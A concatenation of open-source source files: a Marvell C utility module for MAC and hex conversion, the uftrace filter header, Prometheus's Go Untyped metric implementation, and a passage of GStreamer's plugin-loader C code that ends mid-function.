retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Marvell nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *******************************************************************************/ #include "mvOs.h" #include "mv802_3.h" #include "mvCommon.h" /******************************************************************************* * mvMacStrToHex - Convert MAC format string to hex. * * DESCRIPTION: * This function convert MAC format string to hex. * * INPUT: * macStr - MAC address string. Fornat of address string is * uu:vv:ww:xx:yy:zz, where ":" can be any delimiter. * * OUTPUT: * macHex - MAC in hex format. * * RETURN: * None. * *******************************************************************************/ MV_STATUS mvMacStrToHex(const char* macStr, MV_U8* macHex) { int i; char tmp[3]; for(i = 0; i < MV_MAC_ADDR_SIZE; i++) { tmp[0] = macStr[(i * 3) + 0]; tmp[1] = macStr[(i * 3) + 1]; tmp[2] = '\0'; macHex[i] = (MV_U8) (strtol(tmp, NULL, 16)); } return MV_OK; } /******************************************************************************* * mvMacHexToStr - Convert MAC in hex format to string format. * * DESCRIPTION: * This function convert MAC in hex format to string format. * * INPUT: * macHex - MAC in hex format. * * OUTPUT: * macStr - MAC address string. String format is uu:vv:ww:xx:yy:zz. * * RETURN: * None. * *******************************************************************************/ MV_STATUS mvMacHexToStr(MV_U8* macHex, char* macStr) { int i; for(i = 0; i < MV_MAC_ADDR_SIZE; i++) { mvOsSPrintf(&macStr[i * 3], "%02x:", macHex[i]); } macStr[(i * 3) - 1] = '\0'; return MV_OK; } /******************************************************************************* * mvSizePrint - Print the given size with size unit description. * * DESCRIPTION: * This function print the given size with size unit description. * FOr example when size paramter is 0x180000, the function prints: * "size 1MB+500KB" * * INPUT: * size - Size in bytes. * * OUTPUT: * None. * * RETURN: * None. * *******************************************************************************/ MV_VOID mvSizePrint(MV_U32 size) { mvOsOutput("size "); if(size >= _1G) { mvOsOutput("%3dGB ", size / _1G); size %= _1G; if(size) mvOsOutput("+"); } if(size >= _1M ) { mvOsOutput("%3dMB ", size / _1M); size %= _1M; if(size) mvOsOutput("+"); } if(size >= _1K) { mvOsOutput("%3dKB ", size / _1K); size %= _1K; if(size) mvOsOutput("+"); } if(size > 0) { mvOsOutput("%3dB ", size); } } /******************************************************************************* * mvHexToBin - Convert hex to binary * * DESCRIPTION: * This function Convert hex to binary. * * INPUT: * pHexStr - hex buffer pointer. * size - Size to convert. * * OUTPUT: * pBin - Binary buffer pointer. * * RETURN: * None. * *******************************************************************************/ MV_VOID mvHexToBin(const char* pHexStr, MV_U8* pBin, int size) { int j, i; char tmp[3]; MV_U8 byte; for(j=0, i=0; j<size; j++, i+=2) { tmp[0] = pHexStr[i]; tmp[1] = pHexStr[i+1]; tmp[2] = '\0'; byte = (MV_U8) (strtol(tmp, NULL, 16) & 0xFF); pBin[j] = byte; } } void mvAsciiToHex(const char* asciiStr, char* hexStr) { int i=0; while(asciiStr[i] != 0) { mvOsSPrintf(&hexStr[i*2], "%02x", asciiStr[i]); i++; } hexStr[i*2] = 0; } void mvBinToHex(const MV_U8* bin, char* hexStr, int size) { int i; for(i=0; i<size; i++) { mvOsSPrintf(&hexStr[i*2], "%02x", bin[i]); } hexStr[i*2] = '\0'; } void mvBinToAscii(const MV_U8* bin, char* asciiStr, int size) { int i; for(i=0; i<size; i++) { mvOsSPrintf(&asciiStr[i*2], "%c", bin[i]); } asciiStr[i*2] = '\0'; } /******************************************************************************* * mvLog2 - * * DESCRIPTION: * Calculate the Log2 of a given number. * * INPUT: * num - A number to calculate the Log2 for. * * OUTPUT: * None. * * RETURN: * Log 2 of the input number, or 0xFFFFFFFF if input is 0. * *******************************************************************************/ MV_U32 mvLog2(MV_U32 num) { MV_U32 result = 0; if(num == 0) return 0xFFFFFFFF; while(num != 1) { num = num >> 1; result++; } return result; }
{ "pile_set_name": "Github" }
#ifndef UFTRACE_FILTER_H #define UFTRACE_FILTER_H #include <stdio.h> #include <stdint.h> #include <regex.h> #include "utils/rbtree.h" #include "utils/list.h" #include "utils/arch.h" /** * REGEX_CHARS: characters for regex matching. * * When one of these characters is in filter strings, * treat them as regex expressions. */ #define REGEX_CHARS ".?*+-^$|()[]{}" enum trigger_flag { TRIGGER_FL_DEPTH = (1U << 0), TRIGGER_FL_FILTER = (1U << 1), TRIGGER_FL_BACKTRACE = (1U << 2), TRIGGER_FL_TRACE = (1U << 3), TRIGGER_FL_TRACE_ON = (1U << 4), TRIGGER_FL_TRACE_OFF = (1U << 5), TRIGGER_FL_ARGUMENT = (1U << 6), TRIGGER_FL_RECOVER = (1U << 7), TRIGGER_FL_RETVAL = (1U << 8), TRIGGER_FL_COLOR = (1U << 9), TRIGGER_FL_TIME_FILTER = (1U << 10), TRIGGER_FL_READ = (1U << 11), TRIGGER_FL_FINISH = (1U << 13), TRIGGER_FL_AUTO_ARGS = (1U << 14), TRIGGER_FL_CALLER = (1U << 15), TRIGGER_FL_SIGNAL = (1U << 16), }; enum filter_mode { FILTER_MODE_NONE, FILTER_MODE_IN, FILTER_MODE_OUT, }; enum uftrace_arg_format { ARG_FMT_AUTO, ARG_FMT_SINT, ARG_FMT_UINT, ARG_FMT_HEX, ARG_FMT_STR, ARG_FMT_CHAR, ARG_FMT_FLOAT, ARG_FMT_STD_STRING, ARG_FMT_PTR, ARG_FMT_ENUM, }; enum trigger_read_type { TRIGGER_READ_NONE = 0, TRIGGER_READ_PROC_STATM = 1, TRIGGER_READ_PAGE_FAULT = 2, TRIGGER_READ_PMU_CYCLE = 4, TRIGGER_READ_PMU_CACHE = 8, TRIGGER_READ_PMU_BRANCH = 16, }; #define ARG_TYPE_INDEX 0 #define ARG_TYPE_FLOAT 1 #define ARG_TYPE_REG 2 #define ARG_TYPE_STACK 3 /* should match with uftrace_arg_format above */ #define ARG_SPEC_CHARS "diuxscfSpe" /** * uftrace_arg_spec contains arguments and return value info. * * If idx is zero, it means the recorded data is return value. * * If idx is not zero, it means the recorded data is arguments * and idx shows the sequence order of arguments. */ #define RETVAL_IDX 0 struct uftrace_arg_spec { struct list_head list; int idx; enum uftrace_arg_format fmt; int size; bool exact; unsigned char type; union { short reg_idx; short stack_ofs; char *enum_str; }; }; struct uftrace_trigger { enum trigger_flag flags; int depth; char color; uint64_t time; enum filter_mode fmode; enum trigger_read_type read; struct list_head *pargs; }; struct uftrace_filter { struct rb_node node; char *name; uint64_t start; uint64_t end; struct list_head args; struct uftrace_trigger trigger; }; enum uftrace_pattern_type { PATT_NONE, PATT_SIMPLE, PATT_REGEX, PATT_GLOB, }; struct uftrace_pattern { enum uftrace_pattern_type type; char *patt; regex_t re; }; struct uftrace_filter_setting { enum uftrace_pattern_type ptype; enum uftrace_cpu_arch arch; bool auto_args; bool allow_kernel; bool lp64; bool plt_only; /* caller-defined data */ void *private; }; /* please see man proc(5) for /proc/[pid]/statm */ struct uftrace_proc_statm { uint64_t vmsize; /* total program size in KB */ uint64_t vmrss; /* resident set size in KB */ uint64_t shared; /* shared rss in KB (Rssfile + RssShmem) */ }; struct uftrace_page_fault { uint64_t major; uint64_t minor; }; struct uftrace_pmu_cycle { uint64_t cycles; /* cpu cycles */ uint64_t instrs; /* cpu instructions */ }; struct uftrace_pmu_cache { uint64_t refers; /* cache references */ uint64_t misses; /* cache misses */ }; struct uftrace_pmu_branch { uint64_t branch; /* branch instructions */ uint64_t misses; /* branch misses */ }; typedef void (*trigger_fn_t)(struct uftrace_trigger *tr, void *arg); struct symtabs; void uftrace_setup_filter(char *filter_str, struct symtabs *symtabs, struct rb_root *root, enum filter_mode *mode, struct uftrace_filter_setting *setting); void uftrace_setup_trigger(char *trigger_str, struct symtabs *symtabs, struct rb_root *root, enum filter_mode *mode, struct uftrace_filter_setting *setting); void uftrace_setup_argument(char *trigger_str, struct symtabs *symtabs, struct rb_root *root, struct uftrace_filter_setting *setting); void uftrace_setup_retval(char *trigger_str, struct symtabs *symtabs, struct rb_root *root, struct uftrace_filter_setting *setting); void uftrace_setup_caller_filter(char *filter_str, struct symtabs *symtabs, struct rb_root *root, struct uftrace_filter_setting *setting); struct uftrace_filter *uftrace_match_filter(uint64_t ip, struct rb_root *root, struct uftrace_trigger *tr); void uftrace_cleanup_filter(struct rb_root *root); void uftrace_print_filter(struct rb_root *root); int uftrace_count_filter(struct rb_root *root, unsigned long flag); void init_filter_pattern(enum uftrace_pattern_type type, struct uftrace_pattern *p, char *str); bool match_filter_pattern(struct uftrace_pattern *p, char *name); void free_filter_pattern(struct uftrace_pattern *p); enum uftrace_pattern_type parse_filter_pattern(const char *str); const char * get_filter_pattern(enum uftrace_pattern_type ptype); char * uftrace_clear_kernel(char *filter_str); void setup_auto_args(struct uftrace_filter_setting *setting); void setup_auto_args_str(char *args, char *rets, char *enums, struct uftrace_filter_setting *setting); void finish_auto_args(void); void free_arg_spec(struct uftrace_arg_spec *arg); struct debug_info; struct uftrace_filter * find_auto_argspec(struct uftrace_filter *filter, struct uftrace_trigger *tr, struct debug_info *dinfo, struct uftrace_filter_setting *setting); struct uftrace_filter * find_auto_retspec(struct uftrace_filter *filter, struct uftrace_trigger *tr, struct debug_info *dinfo, struct uftrace_filter_setting *setting); char *get_auto_argspec_str(void); char *get_auto_retspec_str(void); char *get_auto_enum_str(void); int extract_trigger_args(char **pargs, char **prets, char *trigger); int parse_enum_string(char *enum_str, struct rb_root *root); char *get_enum_string(struct rb_root *root, char *name, int val); void save_enum_def(struct rb_root *root, FILE *fp); void release_enum_def(struct rb_root *root); extern struct rb_root dwarf_enum; void add_trigger(struct uftrace_filter *filter, struct uftrace_trigger *tr, bool exact_match); int setup_trigger_action(char *str, struct uftrace_trigger *tr, char **module, unsigned long orig_flags, struct uftrace_filter_setting *setting); #endif /* UFTRACE_FILTER_H */
{ "pile_set_name": "Github" }
// Copyright 2014 The Prometheus Authors // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package prometheus import "hash/fnv" // Untyped is a Metric that represents a single numerical value that can // arbitrarily go up and down. // // An Untyped metric works the same as a Gauge. The only difference is that to // no type information is implied. // // To create Untyped instances, use NewUntyped. type Untyped interface { Metric Collector // Set sets the Untyped metric to an arbitrary value. Set(float64) // Inc increments the Untyped metric by 1. Inc() // Dec decrements the Untyped metric by 1. Dec() // Add adds the given value to the Untyped metric. (The value can be // negative, resulting in a decrease.) Add(float64) // Sub subtracts the given value from the Untyped metric. (The value can // be negative, resulting in an increase.) Sub(float64) } // UntypedOpts is an alias for Opts. See there for doc comments. type UntypedOpts Opts // NewUntyped creates a new Untyped metric from the provided UntypedOpts. func NewUntyped(opts UntypedOpts) Untyped { return newValue(NewDesc( BuildFQName(opts.Namespace, opts.Subsystem, opts.Name), opts.Help, nil, opts.ConstLabels, ), UntypedValue, 0) } // UntypedVec is a Collector that bundles a set of Untyped metrics that all // share the same Desc, but have different values for their variable // labels. This is used if you want to count the same thing partitioned by // various dimensions. Create instances with NewUntypedVec. type UntypedVec struct { MetricVec } // NewUntypedVec creates a new UntypedVec based on the provided UntypedOpts and // partitioned by the given label names. At least one label name must be // provided. func NewUntypedVec(opts UntypedOpts, labelNames []string) *UntypedVec { desc := NewDesc( BuildFQName(opts.Namespace, opts.Subsystem, opts.Name), opts.Help, labelNames, opts.ConstLabels, ) return &UntypedVec{ MetricVec: MetricVec{ children: map[uint64]Metric{}, desc: desc, hash: fnv.New64a(), newMetric: func(lvs ...string) Metric { return newValue(desc, UntypedValue, 0, lvs...) }, }, } } // GetMetricWithLabelValues replaces the method of the same name in // MetricVec. The difference is that this method returns an Untyped and not a // Metric so that no type conversion is required. func (m *UntypedVec) GetMetricWithLabelValues(lvs ...string) (Untyped, error) { metric, err := m.MetricVec.GetMetricWithLabelValues(lvs...) if metric != nil { return metric.(Untyped), err } return nil, err } // GetMetricWith replaces the method of the same name in MetricVec. The // difference is that this method returns an Untyped and not a Metric so that no // type conversion is required. func (m *UntypedVec) GetMetricWith(labels Labels) (Untyped, error) { metric, err := m.MetricVec.GetMetricWith(labels) if metric != nil { return metric.(Untyped), err } return nil, err } // WithLabelValues works as GetMetricWithLabelValues, but panics where // GetMetricWithLabelValues would have returned an error. By not returning an // error, WithLabelValues allows shortcuts like // myVec.WithLabelValues("404", "GET").Add(42) func (m *UntypedVec) WithLabelValues(lvs ...string) Untyped { return m.MetricVec.WithLabelValues(lvs...).(Untyped) } // With works as GetMetricWith, but panics where GetMetricWithLabels would have // returned an error. By not returning an error, With allows shortcuts like // myVec.With(Labels{"code": "404", "method": "GET"}).Add(42) func (m *UntypedVec) With(labels Labels) Untyped { return m.MetricVec.With(labels).(Untyped) } // UntypedFunc is an Untyped whose value is determined at collect time by // calling a provided function. // // To create UntypedFunc instances, use NewUntypedFunc. type UntypedFunc interface { Metric Collector } // NewUntypedFunc creates a new UntypedFunc based on the provided // UntypedOpts. The value reported is determined by calling the given function // from within the Write method. Take into account that metric collection may // happen concurrently. If that results in concurrent calls to Write, like in // the case where an UntypedFunc is directly registered with Prometheus, the // provided function must be concurrency-safe. func NewUntypedFunc(opts UntypedOpts, function func() float64) UntypedFunc { return newValueFunc(NewDesc( BuildFQName(opts.Namespace, opts.Subsystem, opts.Name), opts.Help, nil, opts.ConstLabels, ), UntypedValue, function) }
{ "pile_set_name": "Github" }
/* GStreamer * Copyright (C) 2008 Jan Schmidt <jan.schmidt@sun.com> * * gstpluginloader.c: GstPluginLoader helper for loading plugin files * out of process. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public * License along with this library; if not, write to the * Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, * Boston, MA 02110-1301, USA. */ #ifdef HAVE_CONFIG_H # include "config.h" #endif #include <gst/gst_private.h> #ifndef G_OS_WIN32 #include <sys/types.h> #include <sys/wait.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #else #define WIN32_LEAN_AND_MEAN #define fsync(fd) _commit(fd) #include <io.h> #include <windows.h> extern HMODULE _priv_gst_dll_handle; #endif #ifdef HAVE_SYS_UTSNAME_H #include <sys/utsname.h> #endif #include <errno.h> #include <gst/gstconfig.h> #include <gst/gstpoll.h> #include <gst/gstutils.h> #include <gst/gstpluginloader.h> #include <gst/gstregistrychunks.h> #include <gst/gstregistrybinary.h> /* IMPORTANT: Bump the version number if the plugin loader packet protocol * changes. Changes in the binary registry format itself are handled by * bumping the GST_MAGIC_BINARY_VERSION_STR */ static const guint32 loader_protocol_version = 3; #define GST_CAT_DEFAULT GST_CAT_PLUGIN_LOADING static GstPluginLoader *plugin_loader_new (GstRegistry * registry); static gboolean plugin_loader_free (GstPluginLoader * loader); static gboolean plugin_loader_load (GstPluginLoader * loader, const gchar * filename, off_t file_size, time_t file_mtime); /* functions used in GstRegistry scanning */ const GstPluginLoaderFuncs _priv_gst_plugin_loader_funcs = { plugin_loader_new, plugin_loader_free, plugin_loader_load }; typedef struct _PendingPluginEntry { /* sequence number */ guint32 tag; gchar *filename; off_t file_size; time_t file_mtime; } PendingPluginEntry; struct _GstPluginLoader { GstRegistry *registry; GstPoll *fdset; gboolean child_running; GPid child_pid; GstPollFD fd_w; GstPollFD fd_r; gboolean is_child; gboolean got_plugin_details; /* Transmit buffer */ guint8 *tx_buf; guint tx_buf_size; guint tx_buf_write; guint tx_buf_read; /* next sequence number (for PendingPluginEntry) */ guint32 next_tag; guint8 *rx_buf; guint rx_buf_size; gboolean rx_done; gboolean rx_got_sync; /* Head and tail of the pending plugins list. List of PendingPluginEntry structs */ GList *pending_plugins; GList *pending_plugins_tail; }; #define PACKET_EXIT 1 #define PACKET_LOAD_PLUGIN 2 #define PACKET_SYNC 3 #define PACKET_PLUGIN_DETAILS 4 #define PACKET_VERSION 5 #define BUF_INIT_SIZE 512 #define BUF_GROW_EXTRA 512 #define BUF_MAX_SIZE (32 * 1024 * 1024) #define HEADER_SIZE 12 /* 4 magic hex bytes to mark each packet */ #define HEADER_MAGIC 0xbefec0ae #define ALIGNMENT (sizeof (void *)) static gboolean gst_plugin_loader_spawn (GstPluginLoader * loader); static void put_packet (GstPluginLoader * loader, guint type, guint32 tag, const guint8 * payload, guint32 payload_len); static gboolean exchange_packets (GstPluginLoader * l); static gboolean plugin_loader_replay_pending (GstPluginLoader * l); static gboolean plugin_loader_load_and_sync (GstPluginLoader * l, PendingPluginEntry * entry); static void plugin_loader_create_blacklist_plugin (GstPluginLoader * l, PendingPluginEntry * entry); static void plugin_loader_cleanup_child (GstPluginLoader * loader); static gboolean plugin_loader_sync_with_child (GstPluginLoader * l); static GstPluginLoader * plugin_loader_new (GstRegistry * registry) { GstPluginLoader *l = g_slice_new0 (GstPluginLoader); if (registry) l->registry = gst_object_ref (registry); l->fdset = gst_poll_new (FALSE); gst_poll_fd_init (&l->fd_w); gst_poll_fd_init (&l->fd_r); l->tx_buf_size = BUF_INIT_SIZE; l->tx_buf = g_malloc (BUF_INIT_SIZE); l->next_tag = 0; l->rx_buf_size = BUF_INIT_SIZE; l->rx_buf = g_malloc (BUF_INIT_SIZE); return l; } static gboolean plugin_loader_free (GstPluginLoader * loader) { GList *cur; gboolean got_plugin_details; fsync (loader->fd_w.fd); if (loader->child_running) { put_packet (loader, PACKET_EXIT, 0, NULL, 0); /* Swap packets with the child until it exits cleanly */ while (!loader->rx_done) { if (exchange_packets (loader) || loader->rx_done) continue; if (!plugin_loader_replay_pending (loader)) break; put_packet (loader, PACKET_EXIT, 0, NULL, 0); } plugin_loader_cleanup_child (loader); } else { close (loader->fd_w.fd); close (loader->fd_r.fd); } gst_poll_free (loader->fdset); g_free (loader->rx_buf); g_free (loader->tx_buf); if (loader->registry) gst_object_unref (loader->registry); got_plugin_details = loader->got_plugin_details; /* Free any pending plugin entries */ cur = loader->pending_plugins; while (cur) { PendingPluginEntry *entry = (PendingPluginEntry *) (cur->data); g_free (entry->filename); g_slice_free (PendingPluginEntry, entry); cur = g_list_delete_link (cur, cur); } g_slice_free (GstPluginLoader, loader); return got_plugin_details; } static gboolean plugin_loader_load (GstPluginLoader * loader, const gchar * filename, off_t file_size, time_t file_mtime) { gint len; PendingPluginEntry *entry; if (!gst_plugin_loader_spawn (loader)) return FALSE; /* Send a packet to the child requesting that it load the given file */ GST_LOG_OBJECT (loader->registry, "Sending file %s to child. tag %u", filename, loader->next_tag); entry = g_slice_new (PendingPluginEntry); entry->tag = loader->next_tag++; entry->filename = g_strdup (filename); entry->file_size = file_size; entry->file_mtime = file_mtime; loader->pending_plugins_tail = g_list_append (loader->pending_plugins_tail, entry); if (loader->pending_plugins == NULL) loader->pending_plugins = loader->pending_plugins_tail; else loader->pending_plugins_tail = g_list_next (loader->pending_plugins_tail); len = strlen (filename); put_packet (loader, PACKET_LOAD_PLUGIN, entry->tag, (guint8 *) filename, len + 1); if (!exchange_packets (loader)) { if (!plugin_loader_replay_pending (loader)) return FALSE; } return TRUE; } static gboolean plugin_loader_replay_pending (GstPluginLoader * l) { GList *cur, *next; restart: if (!gst_plugin_loader_spawn (l)) return FALSE; /* Load each plugin one by one synchronously until we find the * crashing one */ while ((cur = l->pending_plugins)) { PendingPluginEntry *entry = (PendingPluginEntry *) (cur->data); if (!plugin_loader_load_and_sync (l, entry)) { /* Create dummy plugin entry to block re-scanning this file */ GST_ERROR ("Plugin file %s failed to load. Blacklisting", entry->filename); plugin_loader_create_blacklist_plugin (l, entry); l->got_plugin_details = TRUE; /* Now remove this crashy plugin from the head of the list */ l->pending_plugins = g_list_delete_link (cur, cur); g_free (entry->filename); g_slice_free (PendingPluginEntry, entry); if (l->pending_plugins == NULL) l->pending_plugins_tail = NULL; if (!gst_plugin_loader_spawn (l)) return FALSE; break; } } /* We exited after finding the crashing one. If there's any more pending, * dispatch them post-haste, but don't wait */ for (cur = l->pending_plugins; cur != NULL; cur = next) { PendingPluginEntry *entry = (PendingPluginEntry *) (cur->data); next = g_list_next (cur); put_packet (l, PACKET_LOAD_PLUGIN, entry->tag, (guint8 *) entry->filename, strlen (entry->filename) + 1); /* This might invalidate cur, which is why we grabbed 'next' above */ if (!exchange_packets (l)) goto restart; } return TRUE; } static gboolean plugin_loader_sync_with_child (GstPluginLoader * l) { put_packet (l, PACKET_SYNC, 0, NULL, 0); l->rx_got_sync = FALSE; while (!l->rx_got_sync) { if (!exchange_packets (l)) return FALSE; } return TRUE; } static gboolean plugin_loader_load_and_sync (GstPluginLoader * l, PendingPluginEntry * entry) { gint len; GST_DEBUG_OBJECT (l->registry, "Synchronously loading plugin file %s", entry->filename); len = strlen (entry->filename); put_packet (l, PACKET_LOAD_PLUGIN, entry->tag, (guint8 *) entry->filename, len + 1); return plugin_loader_sync_with_child (l); } static void plugin_loader_create_blacklist_plugin (GstPluginLoader * l, PendingPluginEntry * entry) { GstPlugin *plugin = g_object_new (GST_TYPE_PLUGIN, NULL); plugin->filename = g_strdup (entry->filename); plugin->file_mtime = entry->file_mtime; plugin->file_size = entry->file_size; GST_OBJECT_FLAG_SET (plugin, GST_PLUGIN_FLAG_BLACKLISTED); plugin->basename = g_path_get_basename (plugin->filename); plugin->desc.name = g_intern_string (plugin->basename); plugin->desc.description = "Plugin for blacklisted file"; plugin->desc.version = "0.0.0"; plugin->desc.license = "BLACKLIST"; plugin->desc.source = plugin->desc.license; plugin->desc.package = plugin->desc.license; plugin->desc.origin = plugin->desc.license; GST_DEBUG ("Adding blacklist plugin '%s'", plugin->desc.name); gst_registry_add_plugin (l->registry, plugin); } #ifdef __APPLE__ #if defined(__x86_64__) #define USR_BIN_ARCH_SWITCH "-x86_64" #elif defined(__i386__) #define USR_BIN_ARCH_SWITCH "-i386" #elif defined(__ppc__) #define USR_BIN_ARCH_SWITCH "-ppc" #elif defined(__ppc64__) #define USR_BIN_ARCH_SWITCH "-ppc64" #endif #endif #define YES_MULTIARCH 1 #define NO_MULTIARCH 2 #if defined (__APPLE__) && defined (USR_BIN_ARCH_SWITCH) static gboolean gst_plugin_loader_use_usr_bin_arch (void) { static volatile gsize multiarch = 0; if (g_once_init_enter (&multiarch)) { gsize res = NO_MULTIARCH; #ifdef HAVE_SYS_UTSNAME_H { struct utsname uname_data; if (uname (&uname_data) == 0) { /* Check for OS X >= 10.5 (darwin kernel 9.0) */ GST_LOG ("%s %s", uname_data.sysname, uname_data.release); if (g_ascii_strcasecmp (uname_data.sysname, "Darwin") == 0 && g_strtod (uname_data.release, NULL) >= 9.0) { res = YES_MULTIARCH; } } } #endif GST_INFO ("multiarch: %s", (res == YES_MULTIARCH) ? "yes" : "no"); g_once_init_leave (&multiarch, res); } return (multiarch == YES_MULTIARCH); } #endif /* __APPLE__ && USR_BIN_ARCH_SWITCH */ static gboolean gst_plugin_loader_try_helper (GstPluginLoader * loader, gchar * location) { char *argv[6] = { NULL, }; int c = 0; #if defined (__APPLE__) && defined (USR_BIN_ARCH_SWITCH) if (gst_plugin_loader_use_usr_bin_arch ()) { argv[c++] = (char *) "/usr/bin/arch"; argv[c++] = (char *) USR_BIN_ARCH_SWITCH; } #endif argv[c++] = location; argv[c++] = (char *) "-l"; argv[c++] = _gst_executable_path; argv[c++] = NULL; if (c > 4) { GST_LOG ("Trying to spawn gst-plugin-scanner helper at %s with arch %s", location, argv[1]); } else { GST_LOG ("Trying to spawn gst-plugin-scanner helper at %s", location); } if (!g_spawn_async_with_pipes (NULL, argv, NULL, G_SPAWN_DO_NOT_REAP_CHILD /* | G_SPAWN_STDERR_TO_DEV_NULL */ , NULL, NULL, &loader->child_pid, &loader->fd_w.fd, &loader->fd_r.fd, NULL, NULL)) return FALSE; gst_poll_add_fd (loader->fdset, &loader->fd_w); gst_poll_add_fd (loader->fdset, &loader->fd_r); gst_poll_fd_ctl_read (loader->fdset, &loader->fd_r, TRUE); loader->tx_buf_write = loader->tx_buf_read = 0; put_packet (loader, PACKET_VERSION, 0, NULL, 0); if (!plugin_loader_sync_with_child (loader)) return FALSE; loader->child_running = TRUE; return TRUE; } static gboolean gst_plugin_loader_spawn (GstPluginLoader * loader) { #ifdef GSTREAMER_LITE return FALSE; #else // GSTREAMER_LITE const gchar *env; char *helper_bin; gboolean res = FALSE; if (loader->child_running) return TRUE; /* Find the gst-plugin-scanner: first try the env-var if it is set, * otherwise use the installed version */ env = g_getenv ("GST_PLUGIN_SCANNER_1_0"); if (env == NULL) env = g_getenv ("GST_PLUGIN_SCANNER"); if (env != NULL && *env != '\0') { GST_LOG ("Trying GST_PLUGIN_SCANNER env var: %s", env); helper_bin = g_strdup (env); res = gst_plugin_loader_try_helper (loader, helper_bin); g_free (helper_bin); } if (!res) { GST_LOG ("Trying installed plugin scanner"); #ifdef G_OS_WIN32 { gchar *basedir; basedir = g_win32_get_package_installation_directory_of_module (_priv_gst_dll_handle); helper_bin = g_build_filename (basedir, GST_PLUGIN_SCANNER_SUBDIR, "gstreamer-" GST_API_VERSION, "gst-plugin-scanner.exe", NULL); g_free (basedir); } #else helper_bin = g_strdup (GST_PLUGIN_SCANNER_INSTALLED); #endif res = gst_plugin_loader_try_helper (loader, helper_bin); g_free (helper_bin); if (!res) { GST_INFO ("No gst-plugin-scanner available, or not working"); } } return loader->child_running; #endif // GSTREAMER_LITE } static void plugin_loader_cleanup_child (GstPluginLoader * l) { if (!l->child_running || l->is_child) return; gst_poll_remove_fd (l->fdset, &l->fd_w); gst_poll_remove_fd (l->fdset, &l->fd_r); close (l->fd_w.fd); close (l->fd_r.fd); #ifndef G_OS_WIN32 GST_LOG ("waiting for child process to exit"); waitpid (l->child_pid, NULL, 0); #else g_warning ("FIXME: Implement child process shutdown for Win32"); #endif g_spawn_close_pid (l->child_pid); l->child_running = FALSE; } gboolean _gst_plugin_loader_client_run (void) { gboolean res = TRUE; GstPluginLoader *l; l = plugin_loader_new (NULL); if (l == NULL) return FALSE; /* On entry, the inward pipe is STDIN, and outward is STDOUT. * Dup those somewhere better so that plugins printing things * won't interfere with anything */ #ifndef G_OS_WIN32 { int dup_fd; dup_fd = dup (0); /* STDIN */ if (dup_fd == -1) { GST_ERROR ("Failed to start. Could not dup STDIN, errno %d", errno); res = FALSE; goto beach; } l->fd_r.fd = dup_fd; close (0); dup_fd = dup (1); /* STDOUT */ if (dup_fd == -1) { GST_ERROR ("Failed to start. Could not dup STDOUT, errno %d", errno); res = FALSE; goto beach; } l->fd_w.fd = dup_fd; close (1); /* Dup stderr down to stdout so things that plugins print are visible, * but don't care if it fails */ dup2 (2, 1); } #else /* FIXME: Use DuplicateHandle and friends on win32 */ l->fd_w.fd = 1; /* STDOUT */ l->fd_r.fd = 0; /* STDIN */ #endif gst_poll_add_fd (l->fdset, &l->fd_w); gst_poll_add_fd (l->fdset, &l->fd_r); gst_poll_fd_ctl_read (l->fdset, &l->fd_r, TRUE); l->is_child = TRUE; GST_DEBUG ("Plugin scanner child running. Waiting for instructions"); /* Loop, listening for incoming packets on the fd and writing responses */ while (!l->rx_done && exchange_packets (l)); #ifndef G_OS_WIN32 beach: #endif plugin_loader_free (l); return res; } static void put_packet (GstPluginLoader * l, guint type, guint32 tag, const guint8 * payload, guint32 payload_len) { guint8 *out; guint len = payload_len + HEADER_SIZE; if (l->tx_buf_write + len >= l->tx_buf_size) { GST_LOG ("Expanding tx buf from %d to %d for packet of size %d", l->tx_buf_size, l->tx_buf_write + len + BUF_GROW_EXTRA, len); l->tx_buf_size = l->tx_buf_write + len + BUF_GROW_EXTRA; l->tx_buf = g_realloc (l->tx_buf, l->tx_buf_size); } out = l->tx_buf + l->tx_buf_write; /* one byte packet type */ out[0] = type; /* 3 byte packet tag number */ GST_WRITE_UINT24_BE (out + 1, tag); /* 4 bytes packet length */ GST_WRITE_UINT32_BE (out + 4, payload_len); /* payload */ if (payload && payload_len) memcpy (out + HEADER_SIZE, payload, payload_len); /* Write magic into the header */ GST_WRITE_UINT32_BE (out + 8, HEADER_MAGIC); l->tx_buf_write += len; gst_poll_fd_ctl_write (l->fdset, &l->fd_w, TRUE); } static void put_chunk (GstPluginLoader * l, GstRegistryChunk * chunk, guint * pos) { guint padsize = 0; guint len; guint8 *out; /* Might need to align the chunk */ if (chunk->align && ((*pos) % ALIGNMENT) != 0) padsize = ALIGNMENT - ((*pos) % ALIGNMENT); len = padsize + 